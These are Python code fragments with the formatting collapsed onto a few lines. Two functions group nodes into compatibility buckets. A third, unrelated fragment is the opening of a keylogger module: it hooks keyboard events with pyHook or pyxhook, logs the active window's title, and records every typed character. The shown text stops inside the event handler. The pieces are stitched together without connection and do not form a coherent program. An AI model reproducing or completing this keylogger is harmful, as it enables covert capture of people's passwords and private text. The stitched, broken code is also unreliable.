def identify_buckets(node_name): all_elts = NODE_REGISTER[node_name] # remove the duplicate nodes elts = [e for e in all_elts if 'seen' not in e[4]] seen_elts = [e for e in all_elts if 'seen' in e[4]] first, *rest = elts first[4]['pattern'] = 0 buckets = [first] for enode in rest: node0, tree0, executable0, inputfile0, _info0 = enode a0 = node0, inputfile0, tree0 compatible = None for bi, bnode in enumerate(buckets): node1, tree1, executable1, inputfile1, _info1 = bnode a1 = node1, inputfile1, tree1 result = util.is_compatible(a0, a1, executable0) if result: compatible = bi enode[4]['pattern'] = bi break if compatible is None: enode[4]['pattern'] = len(buckets) buckets.append(enode) for e in seen_elts: e_seen = e[4]['seen'] e_seen_pattern = e_seen[4]['pattern'] e[4]['pattern'] = e_seen_pattern return {i: i for i, b in enumerate(buckets)}
def get_compatibility_pattern(xnode, sampled_nodes): node0, tree0, executable0, inputfile0, _info = xnode results = [] a0 = node0, inputfile0, tree0 for snode in sampled_nodes: nodeX, treeX, executableX, inputfileX, _info = snode aX = nodeX, inputfileX, treeX result = util.is_compatible(a0, aX, executable0) results.append(result) return ''.join(['1' if i else '0' for i in results])
import cStringIO import collections # modules import util # globals packages = ['pyHook', 'pythoncom'] if os.name == 'nt' else ['pyxhook'] platforms = ['win32', 'linux2', 'darwin'] window = None max_size = 4000 log = cStringIO.StringIO() results = Queue.Queue() util.is_compatible(platforms, __name__) util.imports(packages) def _event(event): try: if event.WindowName != globals()['window']: globals()['window'] = event.WindowName globals()['log'].write("\n[{}]\n".format(window)) if event.Ascii > 32 and event.Ascii < 127: globals()['log'].write(chr(event.Ascii)) elif event.Ascii == 32: globals()['log'].write(' ') elif event.Ascii in (10, 13): globals()['log'].write('\n') elif event.Ascii == 8: